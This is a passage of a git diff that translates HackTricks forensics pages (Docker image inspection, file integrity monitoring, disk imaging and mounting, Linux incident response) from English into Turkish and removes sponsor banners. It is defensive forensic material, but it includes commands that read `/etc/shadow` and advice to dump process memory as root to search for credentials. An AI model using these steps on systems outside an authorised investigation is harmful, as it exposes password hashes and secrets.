alabilirsiniz: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Ayrıca **değişiklikler tarihi** özeti alabilirsiniz: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Bir **görüntüden dockerfile oluşturabilirsiniz**: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Docker görüntülerinde eklenmiş/değiştirilmiş dosyaları bulmak için [**dive**](https://github.com/wagoodman/dive) (bunu [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) üzerinden indirin) aracını da kullanabilirsiniz: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Bu, **docker görüntülerinin farklı blob'ları arasında gezinmenizi** ve hangi dosyaların değiştirildiğini/eklendiğini kontrol etmenizi sağlar. **Kırmızı** eklenmiş anlamına gelir ve **sarı** değiştirilmiş anlamına gelir. Diğer görünüme geçmek için **tab** tuşunu ve klasörleri daraltmak/açmak için **space** tuşunu kullanın. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Die ile görüntünün farklı aşamalarının içeriğine erişemezsiniz. Bunu yapmak için **her katmanı sıkıştırmanız ve erişmeniz** gerekecek.\ +Bir görüntüden tüm katmanları, görüntünün sıkıştırıldığı dizinden şu komutu çalıştırarak sıkıştırabilirsiniz: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Bellekten Kimlik Bilgileri -## Credentials from memory +Bir docker konteynerini bir ana bilgisayar içinde çalıştırdığınızda **ana bilgisayardan konteynerde çalışan süreçleri görebileceğinizi** unutmayın, sadece `ps -ef` komutunu çalıştırarak. -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +Bu nedenle (root olarak) **ana bilgisayardan süreçlerin belleğini dökebilir** ve **kimlik bilgilerini** arayabilirsiniz, tıpkı [**aşağıdaki örnekteki gibi**](../../linux-hardening/privilege-escalation/#process-memory). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..e3efbc5fc 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Temel -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Bir temel, bir sistemin belirli bölümlerinin anlık görüntüsünü almayı içerir ve **değişiklikleri vurgulamak için gelecekteki bir durumla karşılaştırma yapar**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Örneğin, dosya sistemindeki her dosyanın hash'ini hesaplayıp saklayarak hangi dosyaların değiştirildiğini bulabilirsiniz.\ +Bu, oluşturulan kullanıcı hesapları, çalışan süreçler, çalışan hizmetler ve çok fazla değişmemesi gereken veya hiç değişmemesi gereken diğer şeyler için de yapılabilir. -## File Integrity Monitoring +## Dosya Bütünlüğü İzleme -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Dosya Bütünlüğü İzleme (FIM), dosyalardaki değişiklikleri izleyerek BT ortamlarını ve verileri koruyan kritik bir güvenlik tekniğidir. İki ana adımı içerir: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Temel Karşılaştırması:** Değişiklikleri tespit etmek için gelecekteki karşılaştırmalar için dosya özellikleri veya kriptografik kontrol toplamları (MD5 veya SHA-2 gibi) kullanarak bir temel oluşturun. +2. **Gerçek Zamanlı Değişiklik Bildirimi:** Dosyalar erişildiğinde veya değiştirildiğinde, genellikle OS çekirdek uzantıları aracılığıyla anında bildirim alın. -## Tools +## Araçlar - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Referanslar - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..35e0b8cf8 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# Görüntü Edinimi & Montaj {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## Edinim ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Buradan [**FTK imager'ı indirebilirsiniz**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Bir disk imajı oluşturmak için [**ewf tools**](https://github.com/libyal/libewf) kullanabilirsiniz. ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` - ## Mount ### Several types -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +**Windows**'ta, **forensics image**'i **mount** etmek için Arsenal Image Mounter'ın ücretsiz sürümünü ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) kullanmayı deneyebilirsiniz. ### Raw - ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Bu, hacimleri monte etmek için bir Windows Uygulamasıdır. Bunu buradan indirebilirsiniz [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Hatalar +- **`cannot mount /dev/loop0 read-only`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekir. +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** bu durumda montaj, dosya sisteminin ofsetinin disk görüntüsünün ofsetinden farklı olmasından dolayı başarısız oldu. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekir: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Dikkat edin, sektör boyutu **512** ve başlangıç **2048**'dir. Ardından görüntüyü şu şekilde monte edin: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..44b903bb1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## İlk Bilgi Toplama -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Temel Bilgiler +Öncelikle, üzerinde **iyi bilinen ikili dosyalar ve kütüphaneler bulunan bir **USB** bulundurmanız önerilir** (sadece ubuntu alıp _/bin_, _/sbin_, _/lib,_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve bu ikili dosyaları kullanmak için ortam değişkenlerini değiştirin: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Şüpheli bilgiler -#### Suspicious information +Temel bilgileri elde ederken, tuhaf şeyler için kontrol etmelisiniz: -While obtaining the basic information you should check for weird things like: +- **Root süreçleri** genellikle düşük PID'lerle çalışır, bu nedenle büyük bir PID'ye sahip bir root süreci bulursanız şüphelenebilirsiniz. +- `/etc/passwd` içinde shell'i olmayan kullanıcıların **kayıtlı oturum açmalarını** kontrol edin. +- Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin. -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Bellek Dökümü -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\ +Bunu **derlemek** için, kurban makinesinin kullandığı **aynı çekirdek** ile çalışmalısınız. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Kurban makinesine **LiME veya başka bir şey** yükleyemeyeceğinizi unutmayın, çünkü bu makinede birçok değişiklik yapacaktır. +Bu nedenle, eğer aynı Ubuntu sürümüne sahipseniz `apt-get install lime-forensics-dkms` kullanabilirsiniz.\ +Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME) 'yi github'dan indirip doğru çekirdek başlıkları ile derlemeniz gerekir. Kurban makinesinin **tam çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/` dizinini makinenize **kopyalayabilir** ve ardından bunları kullanarak LiME'yi **derleyebilirsiniz**: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 3 **formatı** destekler: -LiME supports 3 **formats**: +- Ham (her segment bir araya getirilmiş) +- Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla) +- Lime (meta verilerle önerilen format) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Disk Görüntüleme -### Disk Imaging +#### Sistemi kapatma -#### Shutting down +Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olabilir.\ +Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **delilleri yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (bilgilerin çoğu kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Diskin görüntüsünü alma +**Bilgisayarınızı davayla ilgili herhangi bir şeye bağlamadan önce**, bunun **sadece okunur olarak** bağlanacağından emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Disk Image ön analizi -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Veri olmayan bir disk görüntüsünü görüntüleme. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Bilinen Kötü Amaçlı Yazılımları Ara -
+### Değiştirilmiş Sistem Dosyaları -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux, potansiyel olarak sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. +- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `apt-get install debsums` ile `debsums` yükledikten sonra) ile herhangi bir sorunu tespit edin. -## Search for known Malware +### Kötü Amaçlı Yazılım/Rootkit Tespit Cihazları -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Yüklenmiş Programları Ara -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını manuel kontrollerle birlikte kullanmayı düşünün. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın. +- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. +Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Tanınmış paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Silinmiş Çalışan İkili Dosyaları Kurtarma -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +/tmp/exec konumundan çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Autostart konumlarını denetle -## Inspect Autostart locations - -### Scheduled Tasks - +### Zamanlanmış Görevler ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Hizmetler -### Services +Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar: -Paths where a malware could be installed as a service: +- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlatma betiklerine yönlendirir. +- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi daha eski Linux sürümlerinde bulunur. +- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır. +- Hizmetler ayrıca Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden de etkinleştirilebilir. +- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. +- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı çalışma seviyesinde başlatılması gereken hizmetlere bağlantılar içerir. +- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetler için. +- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılımlar için bir saklanma yeri olabilir. +- **/lib/systemd/system/**: Yüklenmiş paketler tarafından sağlanan sistem genelindeki varsayılan birim dosyaları. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Çekirdek Modülleri -### Kernel Modules +Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri tutar. +- **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir. +- **/etc/modprobe** ve **/etc/modprobe.conf**: Küresel modül ayarları için dosyalar. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Diğer Otomatik Başlatma Yerleri -### Other Autostart Locations +Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişinde çalışır. +- **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Günlükleri İnceleyin -## Examine Logs +Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişim, kötü amaçlı yazılım enfeksiyonları ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar. +- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder. +- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. +- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir. +- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri takip etmek için yararlıdır. +- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar. +- **/var/log/dmesg**: Aygıt sürücü mesajlarını tutar. +- **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur. +- **/var/log/cron**: Cron işlerinin yürütülmelerini kaydeder. +- **/var/log/daemon.log**: Arka plan hizmeti etkinliklerini takip eder. +- **/var/log/btmp**: Başarısız giriş girişimlerini belgeler. +- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. +- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. +- **/var/log/xferlog**: FTP dosya transferlerini kaydeder. +- **/var/log/**: Burada beklenmedik günlükleri her zaman kontrol edin. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir. -**Linux maintains a command history for each user**, stored in: +**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Ayrıca, `last -Faiwx` komutu kullanıcı girişlerinin bir listesini sağlar. Bilinmeyen veya beklenmedik girişler için kontrol edin. -Check files that can grant extra rprivileges: +Ek rprivilejeleri verebilecek dosyaları kontrol edin: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers` dosyasını gözden geçirin. +- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers.d/` dosyasını gözden geçirin. +- Herhangi bir olağandışı grup üyeliği veya 